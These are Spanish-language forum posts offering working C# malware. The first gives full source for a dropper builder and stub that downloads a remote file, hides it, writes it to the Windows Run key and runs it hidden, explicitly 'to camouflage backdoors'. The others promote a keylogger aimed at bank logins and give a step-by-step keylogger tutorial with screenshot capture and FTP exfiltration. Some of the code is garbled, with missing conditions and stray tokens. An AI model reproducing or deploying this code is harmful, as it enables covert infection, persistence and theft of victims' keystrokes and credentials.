91
Programación / .NET (C#, VB.NET, ASP) / [C#] DH Downloader 1.0
en: 19 Septiembre 2014, 21:11 pm
Una traduccion de mi DH Downloader a C# con las siguiente opciones :
Se puede cambiar el nombre del archivo descargado Se puede guardar en la carpeta que quieran Se puede ocultar el archivo Hace que el archivo se inicie cada vez que carga Windows Se puede cargar oculto o normal Tambien hice un generador en el que esta pensado para poner un link de descarga directa como dropbox para bajar un server en el cual tambien se le puede cambiar el icono. En el generador se puede cambiar la extension del archivo bajado , ideal para camuflar backdoors en un servidor que no permite ejecutables. Una imagen :
Los codigos :
El generador.
// DH Downloader 1.0
// (C) Doddy Hackman 2014
//
// Credits :
//
// Based on : http://www.csharp-examples.net/download-files/
//
//
using System ;
using System.Collections.Generic ;
using System.ComponentModel ;
using System.Data ;
using System.Drawing ;
using System.Text ;
using System.Windows.Forms ;
using System.Net ;
using System.IO ;
using Microsoft.Win32 ;
using System.Diagnostics ;
using System.Reflection ;
namespace DH_Downloader
{
public partial class Form1 : Form
{
public Form1( )
{
InitializeComponent( ) ;
}
string ruta_final_global = "" ;
// Functions
public string hexencode( string texto)
{
string resultado = "" ;
byte [ ] enc = Encoding. Default . GetBytes ( texto) ;
resultado = BitConverter. ToString ( enc) ;
resultado = resultado. Replace ( "-" , "" ) ;
return "0x" + resultado;
}
public string hexdecode( string texto)
{
// Based on : http://snipplr.com/view/36461/string-to-hex----hex-to-string-convert/
// Thanks to emregulcan
string valor = texto. Replace ( "0x" , "" ) ;
string retorno = "" ;
while ( valor. Length > 0 )
{
retorno = retorno + System . Convert . ToChar ( System . Convert . ToUInt32 ( valor. Substring ( 0 , 2 ) , 16 ) ) ;
valor = valor. Substring ( 2 , valor. Length - 2 ) ;
}
return retorno. ToString ( ) ;
}
public void cmd_normal( string command)
{
try
{
System.Diagnostics . Process . Start ( "cmd" , "/c " + command) ;
}
catch
{
//
}
}
public void cmd_hide( string command)
{
try
{
ProcessStartInfo cmd_now
= new ProcessStartInfo
( "cmd" ,
"/c " + command
) ; cmd_now. RedirectStandardOutput = false ;
cmd_now. WindowStyle = ProcessWindowStyle. Hidden ;
cmd_now. UseShellExecute = true ;
Process. Start ( cmd_now) ;
}
catch
{
//
}
}
public void extraer_recurso( string name, string save)
{
// Based on : http://www.c-sharpcorner.com/uploadfile/40e97e/saving-an-embedded-file-in-C-Sharp/
// Thanks to Jean Paul
try
{
Stream bajando_recurso = Assembly. GetExecutingAssembly ( ) . GetManifestResourceStream ( name) ;
FileStream yacasi
= new FileStream
( save, FileMode
. CreateNew ) ; for ( int count = 0 ; count < bajando_recurso. Length ; count++ )
{
byte down = Convert. ToByte ( bajando_recurso. ReadByte ( ) ) ;
yacasi. WriteByte ( down) ;
}
yacasi. Close ( ) ;
}
catch
{
MessageBox. Show ( "Error unpacking resource" ) ;
}
}
//
private void mephobiaButton1_Click( object sender, EventArgs e)
{
Application. Exit ( ) ;
}
private void mephobiaButton2_Click( object sender, EventArgs e)
{
string url = mephobiaTextBox1. Text ;
string directorio_final = "" ;
string nombre_final = "" ;
string ruta_final = "" ;
string directorio_dondeestamos = Path. GetDirectoryName ( System.Reflection . Assembly . GetEntryAssembly ( ) . Location ) ;
{
nombre_final = mephobiaTextBox2. Text ;
}
else
{
nombre_final = Path. GetFileName ( url) ;
}
{
directorio_final = mephobiaTextBox3. Text ;
}
else
{
directorio_final = directorio_dondeestamos;
}
ruta_final = directorio_final + "/" + nombre_final;
ruta_final_global = ruta_final;
//MessageBox.Show(directorio_final);
//MessageBox.Show(nombre_final);
//MessageBox.Show(ruta_final);
Directory. SetCurrentDirectory ( directorio_final) ;
if ( File. Exists ( ruta_final) )
{
File. Delete ( ruta_final) ;
}
toolStripStatusLabel1. Text = "[+] Downloading ..." ;
this . Refresh ( ) ;
try
{
WebClient nave
= new WebClient
( ) ; nave. Headers [ "User-Agent" ] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0" ;
nave
. DownloadFileCompleted += new AsyncCompletedEventHandler
( finished
) ; nave
. DownloadProgressChanged += new DownloadProgressChangedEventHandler
( ahi_vamos
) ; nave
. DownloadFileAsync ( new Uri
( url
) , nombre_final
) ; }
catch
{
//
}
{
if ( File. Exists ( ruta_final) )
{
try
{
File. SetAttributes ( ruta_final, FileAttributes. Hidden ) ;
}
catch
{
//
}
}
}
{
if ( File. Exists ( ruta_final) )
{
try
{
RegistryKey loadnow = Registry. LocalMachine ;
loadnow = loadnow. OpenSubKey ( "Software\\ Microsoft\\ Windows\\ CurrentVersion\\ Run" , true ) ;
loadnow. SetValue ( "uberkz" , ruta_final, RegistryValueKind. String ) ;
loadnow. Close ( ) ;
}
catch
{
//
}
}
}
{
{
cmd_normal( "\" " + ruta_final + "\" " ) ;
}
{
cmd_hide( "\" " + ruta_final + "\" " ) ;
}
}
}
private void ahi_vamos( object sender, DownloadProgressChangedEventArgs e)
{
toolStripProgressBar1. Value = e. ProgressPercentage ;
}
private void finished( object sender, AsyncCompletedEventArgs e)
{
long tam
= new System.IO . FileInfo ( ruta_final_global
) . Length ;
if ( File. Exists ( ruta_final_global) && tam!= 0 )
{
toolStripStatusLabel1. Text = "[+] Done" ;
this . Refresh ( ) ;
MessageBox. Show ( "Downloaded" ) ;
}
else
{
toolStripStatusLabel1. Text = "[-] Error" ;
this . Refresh ( ) ;
MessageBox. Show ( "Failed download" ) ;
}
toolStripProgressBar1. Value = 0 ;
}
private void Form1_Load( object sender, EventArgs e)
{
toolStripProgressBar1. Value = 0 ;
}
private void mephobiaButton3_Click( object sender, EventArgs e)
{
string linea_generada = "" ;
string url = mephobiaTextBox4. Text ;
string opcion_change_name = "" ;
string text_change_name = mephobiaTextBox5. Text ;
string opcion_carga_normal = "" ;
string opcion_carga_hide = "" ;
string ruta_donde_bajar = "" ;
string opcion_ocultar_archivo = "" ;
string opcion_startup = "" ;
{
opcion_change_name = "1" ;
}
else
{
opcion_change_name = "0" ;
}
{
opcion_carga_normal = "1" ;
}
else
{
opcion_carga_normal = "0" ;
}
{
opcion_carga_hide = "1" ;
}
else
{
opcion_carga_hide = "0" ;
}
if ( mephobiaComboBox1. SelectedItem != null )
{
ruta_donde_bajar = mephobiaComboBox1. SelectedItem . ToString ( ) ;
}
else
{
ruta_donde_bajar = "Fuck You Bitch" ;
}
{
opcion_ocultar_archivo = "1" ;
}
else
{
opcion_ocultar_archivo = "0" ;
}
{
opcion_startup = "1" ;
}
else
{
opcion_startup = "0" ;
}
extraer_recurso( "DH_Downloader.Resources.stub.exe" , "stub.exe" ) ;
string check_stub = AppDomain. CurrentDomain . BaseDirectory + "/stub.exe" ;
string work_on_stub = AppDomain. CurrentDomain . BaseDirectory + "/done.exe" ;
if ( File. Exists ( check_stub) )
{
if ( File. Exists ( work_on_stub) )
{
System.IO . File . Delete ( work_on_stub) ;
}
System.IO . File . Copy ( check_stub, work_on_stub) ;
linea_generada = "-url-" + url + "-url-" + "-opcion_change_name-" + opcion_change_name + "-opcion_change_name-" +
"-text_change_name-" + text_change_name + "-text_change_name-" + "-opcion_carga_normal-" +
opcion_carga_normal + "-opcion_carga_normal-" + "-opcion_carga_hide-" + opcion_carga_hide +
"-opcion_carga_hide-" + "-ruta_donde_bajar-" + ruta_donde_bajar + "-ruta_donde_bajar-" +
"-opcion_ocultar_archivo-" + opcion_ocultar_archivo + "-opcion_ocultar_archivo-" + "-opcion_startup-" +
opcion_startup+ "-opcion_startup-" ;
string generado = hexencode( linea_generada) ;
string linea_final = "-63686175-" + generado + "-63686175-" ;
FileStream abriendo
= new FileStream
( work_on_stub, FileMode
. Append ) ; BinaryWriter seteando
= new BinaryWriter
( abriendo
) ; seteando. Write ( linea_final) ;
seteando. Flush ( ) ;
seteando. Close ( ) ;
abriendo. Close ( ) ;
//MessageBox.Show(generado);
//MessageBox.Show(hexdecode(generado));
try
{
System.IO . File . Delete ( check_stub) ;
}
catch
{
//
}
MessageBox. Show ( "Tiny downloader Generated" ) ;
}
else
{
MessageBox. Show ( "Stub not found" ) ;
}
}
}
}
// The End ?
El Stub.
// DH Downloader 1.0
// (C) Doddy Hackman 2014
// Thanks to : http://weblogs.asp.net/jhallal/hide-the-console-window-in-quot-c-console-application-quot
using System ;
using System.Collections.Generic ;
using System.Text ;
using System.Diagnostics ;
using System.Net ;
using System.IO ;
using Microsoft.Win32 ;
namespace stub
{
class Program
{
// Functions
static public void cmd_normal( string command)
{
try
{
System.Diagnostics . Process . Start ( "cmd" , "/c " + command) ;
}
catch
{
//
}
}
static public void cmd_hide( string command)
{
try
{
ProcessStartInfo cmd_now
= new ProcessStartInfo
( "cmd" ,
"/c " + command
) ; cmd_now. RedirectStandardOutput = false ;
cmd_now. WindowStyle = ProcessWindowStyle. Hidden ;
cmd_now. UseShellExecute = true ;
Process. Start ( cmd_now) ;
}
catch
{
//
}
}
static public void add_startup( string path)
{
try
{
RegistryKey loadnow = Registry. LocalMachine ;
loadnow = loadnow. OpenSubKey ( "Software\\ Microsoft\\ Windows\\ CurrentVersion\\ Run" , true ) ;
loadnow. SetValue ( "uberkzz" , path, RegistryValueKind. String ) ;
loadnow. Close ( ) ;
}
catch
{
//
}
}
//
static void Main( string [ ] args)
{
load_config config
= new load_config
( ) ; config. load_data ( ) ;
string check_online = config. downloader_online ;
if ( check_online == "1" )
{
Console. WriteLine ( "[+] Downloader Online" ) ;
string url = config. url ;
string opcion_change_name = config. opcion_change_name ;
string text_change_name = config. text_change_name ;
string opcion_carga_normal = config. opcion_carga_normal ;
string opcion_carga_hide = config. opcion_carga_hide ;
string ruta_donde_bajar = config. ruta_donde_bajar ;
string opcion_ocultar_archivo = config. opcion_ocultar_archivo ;
string opcion_startup = config. opcion_startup ;
string nombre_final = "" ;
string directorio_final = "" ;
string ruta_final = "" ;
//string output = config.get_data();
//Console.WriteLine(output);
if ( opcion_change_name == "1" )
{
nombre_final = text_change_name;
}
else
{
nombre_final = Path. GetFileName ( url) ;
}
if ( ruta_donde_bajar != "" )
{
directorio_final = Environment. GetEnvironmentVariable ( ruta_donde_bajar) ;
}
else
{
directorio_final = Environment. GetEnvironmentVariable ( "USERPROFILE" ) ;
}
ruta_final = directorio_final + "/" + nombre_final;
Console. WriteLine ( "[+] URL : " + url+ "\n " ) ;
Console. WriteLine ( "[+] Filename : " + ruta_final+ "\n " ) ;
try
{
WebClient nave
= new WebClient
( ) ; nave. Headers [ "User-Agent" ] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0" ;
nave. DownloadFile ( url, ruta_final) ;
}
catch
{
//
}
if ( opcion_ocultar_archivo == "1" )
{
Console. WriteLine ( "[+] Hide : " + ruta_final+ "\n " ) ;
try
{
File. SetAttributes ( ruta_final, FileAttributes. Hidden ) ;
}
catch
{
//
}
}
if ( opcion_startup == "1" )
{
Console. WriteLine ( "[+] Add Startup : " + ruta_final+ "\n " ) ;
add_startup( ruta_final) ;
}
if ( opcion_carga_normal == "1" )
{
Console. WriteLine ( "[+] Load normal : " + ruta_final+ "\n " ) ;
cmd_normal( ruta_final) ;
}
if ( opcion_carga_hide == "1" )
{
Console. WriteLine ( "[+] Load hide : " + ruta_final+ "\n " ) ;
cmd_hide( ruta_final) ;
}
//Console.ReadKey();
}
else
{
Console. WriteLine ( "[-] Downloader OffLine" ) ;
//Console.ReadKey();
}
}
}
}
// The End ?
Clase load_config.cs del Stub.
// DH Downloader 1.0
// (C) Doddy Hackman 2014
using System ;
using System.Collections.Generic ;
using System.Text ;
using System.IO ;
using System.Text.RegularExpressions ;
namespace stub
{
class load_config
{
string downloader_online_config = "" ;
string url_config = "" ;
string opcion_change_name_config = "" ;
string text_change_name_config = "" ;
string opcion_carga_normal_config = "" ;
string opcion_carga_hide_config = "" ;
string ruta_donde_bajar_config = "" ;
string opcion_ocultar_archivo_config = "" ;
string opcion_startup_config = "" ;
public string downloader_online
{
set { downloader_online_config = value; }
get { return downloader_online_config; }
}
public string url
{
set { url_config = value; }
get { return url_config; }
}
public string opcion_change_name
{
set { opcion_change_name_config = value; }
get { return opcion_change_name_config; }
}
public string text_change_name
{
set { text_change_name_config = value; }
get { return text_change_name_config; }
}
public string opcion_carga_normal
{
set { opcion_carga_normal_config = value; }
get { return opcion_carga_normal_config; }
}
public string opcion_carga_hide
{
set { opcion_carga_hide_config = value; }
get { return opcion_carga_hide_config; }
}
public string ruta_donde_bajar
{
set { ruta_donde_bajar_config = value; }
get { return ruta_donde_bajar_config; }
}
public string opcion_ocultar_archivo
{
set { opcion_ocultar_archivo_config = value; }
get { return opcion_ocultar_archivo_config; }
}
public string opcion_startup
{
set { opcion_startup_config = value; }
get { return opcion_startup_config; }
}
public string hexencode( string texto)
{
string resultado = "" ;
byte [ ] enc = Encoding. Default . GetBytes ( texto) ;
resultado = BitConverter. ToString ( enc) ;
resultado = resultado. Replace ( "-" , "" ) ;
return "0x" + resultado;
}
public string hexdecode( string texto)
{
// Based on : http://snipplr.com/view/36461/string-to-hex----hex-to-string-convert/
// Thanks to emregulcan
string valor = texto. Replace ( "0x" , "" ) ;
string retorno = "" ;
while ( valor. Length > 0 )
{
retorno = retorno + System . Convert . ToChar ( System . Convert . ToUInt32 ( valor. Substring ( 0 , 2 ) , 16 ) ) ;
valor = valor. Substring ( 2 , valor. Length - 2 ) ;
}
return retorno. ToString ( ) ;
}
public load_config( )
{
string downloader_online_config = "" ;
string url_config = "" ;
string opcion_change_name_config = "" ;
string text_change_name_config = "" ;
string opcion_carga_normal_config = "" ;
string opcion_carga_hide_config = "" ;
string ruta_donde_bajar_config = "" ;
string opcion_ocultar_archivo_config = "" ;
string opcion_startup_config = "" ;
}
public void load_data( )
{
StreamReader viendo
= new StreamReader
( System.Reflection . Assembly . GetEntryAssembly ( ) . Location ) ; string contenido = viendo. ReadToEnd ( ) ;
Match regex = Regex. Match ( contenido, "-63686175-(.*?)-63686175-" , RegexOptions. IgnoreCase ) ;
if ( regex. Success )
{
string comandos = regex. Groups [ 1 ] . Value ;
if ( comandos != "" || comandos != " " )
{
downloader_online_config = "1" ;
string leyendo = hexdecode( comandos) ;
regex = Regex. Match ( leyendo, "-url-(.*)-url-" , RegexOptions. IgnoreCase ) ;
if ( regex. Success )
{
url_config = regex. Groups [ 1 ] . Value ;
}
regex = Regex. Match ( leyendo, "-opcion_change_name-(.*)-opcion_change_name-" , RegexOptions. IgnoreCase ) ;
if ( regex. Success )
{
opcion_change_name_config = regex. Groups [ 1 ] . Value ;
}
regex = Regex. Match ( leyendo, "-text_change_name-(.*)-text_change_name-" , RegexOptions. IgnoreCase ) ;
if ( regex. Success )
{
text_change_name_config = regex. Groups [ 1 ] . Value ;
}
regex = Regex. Match ( leyendo, "-opcion_carga_normal-(.*)-opcion_carga_normal-" , RegexOptions. IgnoreCase ) ;
if ( regex. Success )
{
opcion_carga_normal_config = regex. Groups [ 1 ] . Value ;
}
regex = Regex. Match ( leyendo, "-opcion_carga_hide-(.*)-opcion_carga_hide-" , RegexOptions. IgnoreCase ) ;
if ( regex. Success )
{
opcion_carga_hide_config = regex. Groups [ 1 ] . Value ;
}
regex = Regex. Match ( leyendo, "-ruta_donde_bajar-(.*)-ruta_donde_bajar-" , RegexOptions. IgnoreCase ) ;
if ( regex. Success )
{
ruta_donde_bajar_config = regex. Groups [ 1 ] . Value ;
}
regex = Regex. Match ( leyendo, "-opcion_ocultar_archivo-(.*)-opcion_ocultar_archivo-" , RegexOptions. IgnoreCase ) ;
if ( regex. Success )
{
opcion_ocultar_archivo_config = regex. Groups [ 1 ] . Value ;
}
regex = Regex. Match ( leyendo, "-opcion_startup-(.*)-opcion_startup-" , RegexOptions. IgnoreCase ) ;
if ( regex. Success )
{
opcion_startup_config = regex. Groups [ 1 ] . Value ;
}
}
else
{
downloader_online_config = "0" ;
}
}
}
public string get_data( )
{
string lista = "[+] Downloader Online : " + downloader_online_config + "\n " +
"[+] URL : " + url_config + "\n " +
"[+] Option Change Name : " + opcion_change_name_config + "\n " +
"[+] Change Name to : " + text_change_name_config + "\n " +
"[+] Option normal load : " + opcion_carga_normal_config + "\n " +
"[+] Option hide load : " + opcion_carga_hide_config + "\n " +
"[+] Path : " + ruta_donde_bajar_config + "\n " +
"[+] Option hide file : " + opcion_ocultar_archivo_config + "\n " +
"[+] Option startup : " + opcion_startup_config;
//
return lista;
}
}
}
// The End ?
Un video con ejemplo de uso
VIDEO Si lo quieren bajar lo pueden hacer de
aca .
92
Programación / .NET (C#, VB.NET, ASP) / [C#] DH KeyCagator 1.5
en: 12 Septiembre 2014, 18:01 pm
Version de mi keylogger KeyCagator en C# , originalmente escrito en Delphi y Perl , basicamente es solo una traduccion pero tambien le agregue unas opciones nuevas.
Opciones :
Captura las teclas minusculas como mayusculas , asi como numeros y las demas teclas Captura el nombre de la ventana actual Captura la pantalla Logs ordenados en un archivo HTML Se puede elegir el directorio en el que se guardan los Logs Se envia los logs por FTP Se oculta los rastros Se carga cada vez que inicia Windows Se puede usar shift+F9 para cargar los logs en la maquina infectada Tambien hice un generador del keylogger que ademas permite ver los logs que estan en el servidor FTP que se usa para el keylogger Mejoras :
El keylogger oculto en la computadora de la victima tiene una ventana oculta con password para manejar o cambiar las opciones del keylogger aclaradas en el stub. A peticiones de varios usuarios le agregue la opcion de poder capturar un screenshot cuando se detecte el click del mouse en una ventana especifica , esto es usado mucho para las cuentas de banco y no hay muchos keyloggers en ningun lenguaje que te regalen el codigo de esta forma. Posibilidad de enviar los logs comodamente a tu cuenta de correo. El stub pesa mucho menos que la version en Delphi Unas imagenes :
Un video con ejemplo de uso :
VIDEO Si lo quieren bajar lo pueden hacer de
aca con codigo incluido.
93
Programación / .NET (C#, VB.NET, ASP) / [C#] Creacion de un Keylogger
en: 5 Septiembre 2014, 18:38 pm
[Titulo] : Creacion de un Keylogger
[Lenguaje] : C#
[Autor] : Doddy Hackman
[Temario]
-- =================--------
0x01 : Introduccion
0x02 : Capturar Teclas
0x03 : Capturar el nombre de las ventanas activas
0x04 : Tomar un ScreenShot de la pantalla
0x05 : Subir logs a un servidor FTP
0x06 : Mandar logs por Mail
0x07 : Probando el programa
-- =================--------
0x01 : Introduccion
Hola , hoy les traigo un manual sobre como hacer un keylogger en C# , en este manual les voy a enseñar o por lo menos lo voy a intentar sobre como capturar las teclas , nombres de las ventanas , tomar un screenshot de la pantalla para despues mandar los logs por Mail (usando Gmail) o subirlos a un servidor FTP.
Empecemos ...
Para empezar el keyloger tenemos que crear primero un nuevo proyecto de la siguiente forma :
Archivo -> Nuevo -> Proyecto -> Elegimos Aplicacion de Windows Forms y le damos en aceptar
Como en la siguiente imagen :
Una vez creado el proyecto vamos hacer el formulario completo para hacerlo de una para esto tienen que usar :
Los primeros 6 botones con el texto del boton :
Boton 1 - "Capture Keys ON"
Boton 2 - "Capture Keys OFF"
Boton 3 - "Capture Windows ON"
Boton 4 - "Capture Windows OFF"
Boton 5 - "Capture Screen ON"
Boton 6 - "Capture Screen OFF"
Ahora pongan 3 labels con el texto de "OFF" abajo de cada funcion : keys,windows,screen.
Para terminar pongan dos botones finales con el siguiente texto :
Boton 7 - "Send logs for FTP"
Boton 8 - "Send logs for Mail"
Quedando algo asi :
Si quieren pueden ponerle como texto "Keylogger in C#" al formulario como en la imagen pero no es importante.
0x02 : Capturar Teclas
Para poder capturar teclas necesitan poner este "using" al inicio del codigo para poder usar GetAsyncKeyState() :
using System.Runtime.InteropServices ;
Despues lo mas importante es agregar estas lineas despues de los "using" :
[ DllImport( "User32.dll" ) ]
private static extern short GetAsyncKeyState( Keys teclas) ;
[ DllImport( "user32.dll" ) ]
private static extern short GetAsyncKeyState( Int32 teclas) ;
[ DllImport( "user32.dll" ) ]
private static extern short GetKeyState( Keys teclas) ;
[ DllImport( "user32.dll" ) ]
private static extern short GetKeyState( Int32 teclas) ;
Para poder escribir los logs en un html necesitan usar mi funcion traducida originalmente desde perl a python,ruby,delphi y finalmente C# :
public void savefile( string file, string texto)
{
//Function savefile() Coded By Doddy Hackman
try
{
System.IO . StreamWriter save
= new System.IO . StreamWriter ( file,
true ) ; // Abrimos para escribir en el archivo marcado save. Write ( texto) ; // Escribimos en el archivo marcado con lo que hay en la variable texto
save. Close ( ) ; // Cerramos el archivo
}
catch
{
//
}
}
Ahora tenemos que agregar el primer timer al formulario solo van al cuadro de herramientas y lo arrastran al formulario.
Como va a ser el primero timer tendra el name de timer1 , entonces hacemos doble click timer1 para agregar el siguiente codigo.
private void timer1_Tick( object sender, EventArgs e)
{
// Keylogger Based on http://www.blackstuff.net/f44/c-keylogger-4848/
// Thanks to Carlos Raposo
for ( int num = 0 ; num <= 255 ; num++ ) // Usamos el int num para recorrer los numeros desde el 0 al 255
{
int numcontrol = GetAsyncKeyState( num) ; // Usamos GetAsyncKeyState para verificar si una tecla fue presionada usando el int numcontrol
if ( numcontrol == - 32767 ) // Verificamos si numcontrol fue realmente presionado controlando que numcontrol sea -32767
{
if ( num >= 65 && num <= 122 ) // Si el int num esta entre 65 y 122 ...
{
if ( Convert. ToBoolean ( GetAsyncKeyState( Keys. ShiftKey ) ) && Convert. ToBoolean ( GetKeyState( Keys. CapsLock ) ) )
{
// Si se detecta Shift y CapsLock ...
string letra = Convert. ToChar ( num+ 32 ) . ToString ( ) ; // Le sumamos 32 a num y la convertimos a Char para formar la letra minuscula
savefile( "logs.html" , letra) ; // Agregamos la letra al archivo de texto
}
else if ( Convert. ToBoolean ( GetAsyncKeyState( Keys. ShiftKey ) ) )
{
// Si se detecta Shift o CapsLock
string letra = Convert. ToChar ( num) . ToString ( ) ; // Formamos la letra convirtiendo num a Char
savefile( "logs.html" , letra) ; // Agregamos la letra al archivo de texto
}
else if ( Convert. ToBoolean ( GetKeyState( Keys. CapsLock ) ) )
{
// Si se detecta CapsLock ...
string letra = Convert. ToChar ( num) . ToString ( ) ; // Formamos la letra convirtiendo num a Char
savefile( "logs.html" , letra) ; // Agregamos la letra al archivo de texto
}
else
{
// Si no se detecta ni Shift ni CapsLock ...
string letra = Convert. ToChar ( num j+ 32 ) . ToString ( ) ; // Formamos la letra minuscula sumandole 32 a num y convirtiendo num a Char
savefile( "logs.html" , letra) ; // Agregamos la letra al archivo de texto
}
}
}
}
}
Se deberia ver algo asi :
Como ven en este codigo explico como detectar mayusculas y minisculas , ya sea por Shift o CapsLock este codigo las detecta igual y guardas las teclas un log html usando la funcion savefile().
Ahora le hacemos doble click al primer boton , es el que activa la captura de las teclas "Capture Keys ON" , para poder poner el siguiente codigo :
private void button1_Click( object sender, EventArgs e)
{
timer1. Enabled = true ; // Activamos el timer1
label1. Text = "ON" ; // Ponemos "ON" como texto en label1
}
Con este codigo vamos a poder activar la captura de las teclas pero para poder desactivar el timer y que no siga capturando tenemos que hacer doble click en el segundo boton , el que dice "Capture Keys OFF" para poner este codigo :
private void button2_Click( object sender, EventArgs e)
{
timer1. Enabled = false ; // Desactivamos el timer1
label1. Text = "OFF" ; // Ponemos "OFF" como texto en label2
}
Con eso ya estaria la captura de teclas mayusculas y minusculas.
0x03 : Capturar el nombre de las ventanas activas
Para poder capturar el nombre de las ventanas activas tenemos que declarar las siguiente variables globales al inicio del codigo :
string nombre1 = "" ; // Declaramos la variable string nombre1 como vacia ("")
string nombre2 = "" ; // Declaramos la variable string nombre2 como vacia ("")
Estas lineas son necesarias para guardar los nombres de las ventanas y comparar para saber cual es la actual , para poder capturar el nombres de las ventanas activas tambien tenemos que agregar estas lineas al inicio del codigo :
[ DllImport( "user32.dll" ) ]
static extern IntPtr GetForegroundWindow( ) ;
[ DllImport( "user32.dll" ) ]
static extern int GetWindowText( IntPtr ventana, StringBuilder cadena, int cantidad) ;
Ahora tenemos que agregar el segundo timer al formulario , para hacerle doble click y agregar el siguiente codigo :
private void timer2_Tick( object sender, EventArgs e)
{
const int limite = 256 ; // Declaramos un entero constante con valor de 256
StringBuilder buffer
= new StringBuilder
( limite
) ; // Declaramos un StringBuilder en buffer usando el int limite IntPtr manager = GetForegroundWindow( ) ; // Declaramos manager como IntPtr usando GetForegroundWindow para poder
// obtener el nombre de la ventana actual
if ( GetWindowText( manager, buffer, limite) > 0 ) // Obtenemos el nombre de la ventana y lo almacenamos en buffer
{
nombre1 = buffer. ToString ( ) ; // Almacenamos el nombre de la ventana en nombre1
if ( nombre1 != nombre2) // Si nombre1 y nombre2 no son iguales ...
{
nombre2 = nombre1; // nombre2 tendra el valor de nombre1
savefile( "logs.html" , "<br>[" + nombre2 + "]<br>" ) ; // Agregamos el nombre de la ventana en el archivo de texto
}
}
}
Como en la siguiente imagen :
Ahora hacemos doble click en el tercer boton que se llama "Capture Windows ON" para poner el siguiente codigo :
private void button3_Click( object sender, EventArgs e)
{
timer2. Enabled = true ; // Activamos el timer2
label2. Text = "ON" ; //Ponemos "ON" como texto en label2
}
Despues de eso hacemos doble click en el cuarto boton que se llama "Capture Windows OFF" para poner el siguiente codigo :
private void button4_Click( object sender, EventArgs e)
{
timer2. Enabled = false ; // Desactivamos el timer2
label2. Text = "OFF" ; // Ponemos "OFF" como texto en label2
}
Con esto terminariamos la funcion de capturar las ventanas activas.
0x04 : Tomar un ScreenShot de la pantalla
Para esta funcion lo primero que hay que hacer es agregar esta linea al inicio del codigo :
using System.Drawing.Imaging ;
Bien ahora para que el programa capture la pantalla cada cierto tiempo tenemos que agregar el tercer timer al formulario para ponerle como tiempo o Interval un valor de "10000" que serian 10 segundos porque el interval exige que el tiempo sea expresado en milisegundos.
Despues de eso agregan esta funcion al inicio del codigo llamada screeshot() :
public void screenshot( string nombre)
{
try
{
// ScreenShot Based on : http://www.dotnetjalps.com/2007/06/how-to-take-screenshot-in-c.html
// Thanks to Jalpesh vadgama
int wid
= Screen
. GetBounds ( new Point
( 0 ,
0 ) ) . Width ; // Declaramos el int wid para calcular el tamaño de la pantalla int he
= Screen
. GetBounds ( new Point
( 0 ,
0 ) ) . Height ; // Declaramos el int he para calcular el tamaño de la pantalla Bitmap now
= new Bitmap
( wid, he
) ; // Declaramos now como Bitmap con los tamaños de la pantalla Graphics grafico = Graphics. FromImage ( ( Image) now) ; // Declaramos grafico como Graphics usando el declarado now
grafico
. CopyFromScreen ( 0 ,
0 ,
0 ,
0 ,
new Size
( wid, he
) ) ; // Copiamos el screenshot con los tamaños de la pantalla // usando "grafico"
now. Save ( nombre, ImageFormat. Jpeg ) ; // Guardamos el screenshot con el nombre establecido en la funcion
}
catch
{
//
}
}
Para despues hacer doble click en el timer3 y poner el siguiente codigo :
private void timer3_Tick( object sender, EventArgs e)
{
string fecha = DateTime. Now . ToString ( "h:mm:ss tt" ) ; // Obtemos la hora actual usando DateTime y la guardamos en la
// variable string con el nombre de fecha
string nombrefinal = fecha. Trim ( ) + ".jpg" ; // Limpiamos la variable fecha de los espacios en blanco y le agregamos
// ".jpg" al final para terminar de generar el nombre de la imagen
string final = nombrefinal. Replace ( ":" , "_" ) ; // Reemplazamos los ":" de la hora por "_" para que no haya problemas
// al crear la imagen
screenshot( final) ; // Usamos la funcion screenshot() para mandar el nombre de la imagen que tiene la variable "final"
// y asi realizar el screenshot
}
Viendose asi en el codigo :
Ahora la parte que me estaba olvidando hagan doble click en el quinto boton , el que tiene como texto "Capture Screen ON" y
pongan el siguiente codigo :
timer3. Enabled = true ; // Activamos el timer3
label3. Text = "ON" ; // Ponemos "ON" como texto en label3
Ahora hagan doble click en el sexto boton , el que tiene como texto "Capture Screen OFF" y pongan el siguiente codigo :
timer3. Enabled = false ; // Desactivamos el timer3
label3. Text = "OFF" ; // Ponemos "OFF" como texto en label3
Con esto ya estaria terminada la parte de la captura de pantalla cada cierto tiempo , en este caso son cada 10 segundos.
0x05 : Subir logs a un servidor FTP
Bien , ahora para poder enviar logs por FTP necesitamos agregar estas lineas al inicio del codigo :
using System.Net ;
using System.IO ;
Despues de uso tambien tenemos que agregar esta funcion al inicio del codigo que sirve para subir archivos a un servidor FTP marcado :
public void FTP_Upload( string servidor, string usuario, string password, string archivo)
{
// Based on : http://madskristensen.net/post/simple-ftp-file-upload-in-c-20
try
{
WebClient ftp
= new System.Net . WebClient ( ) ; // Iniciamos una instancia WebClient con "ftp" ftp
. Credentials = new System.Net . NetworkCredential ( usuario, password
) ; // Establecemos el login
FileInfo dividir
= new FileInfo
( archivo
) ; // Iniciamos una instancia FileInfo con "dividir" string solo_nombre = dividir. Name ; // Capturamos solo el nombre de la ruta del archivo de "archivo"
ftp. UploadFile ( "ftp://" + servidor + "/" + solo_nombre, "STOR" , archivo) ; // Subimos el archivo marcado con el siguiente
// formato -> ftp://localhost/archivo-a-subir.txt al servidor FTP
}
catch
{
//
}
}
Ahora vamos hacer doble click sobre el septimo boton que tiene como texto "Send logs for FTP" para poner el siguiente codigo :
private void button7_Click( object sender, EventArgs e)
{
FTP_Upload( "localhost" , "admin" , "admin" ,"logs.html" ) ; // Usamos la funcion FTP_Upload para enviar el log por FTP
// con los datos del servidor marcados
}
Como ven tenemos "localhost" como servidor FTP y "admin" como usuario y password del servidor FTP , al final de la funcion tenemos "logs.html" que son los logs creados por el keylogger y listos para enviar al servidor FTP correspondiente.
Para probarlos en su servidor FTP tienen que cambiar los valores de servidor , usuario y password.
Pasemos al siguiente punto
0x06 : Mandar logs por Mail
Ahora vamos a ver como enviar los logs por mail , para poder hacerlo necesitan una cuenta en Gmail , si quieren registrarse en Gmail sin dar el telefono tienen que registrarte poniendo como direccion de correo alternativa una que sea con "@gmail.com" , en mi caso tambien puse la nacionalidad de Estados Unidos , no se si hace falta pero yo lo hice igual y safe de que me pidieran el telefono (no lo voy a dar ni muerto xD).
Bien para poder enviar correos usando Gmail necesitamos poner esta linea al inicio del codigo :
using System.Net.Mail ;
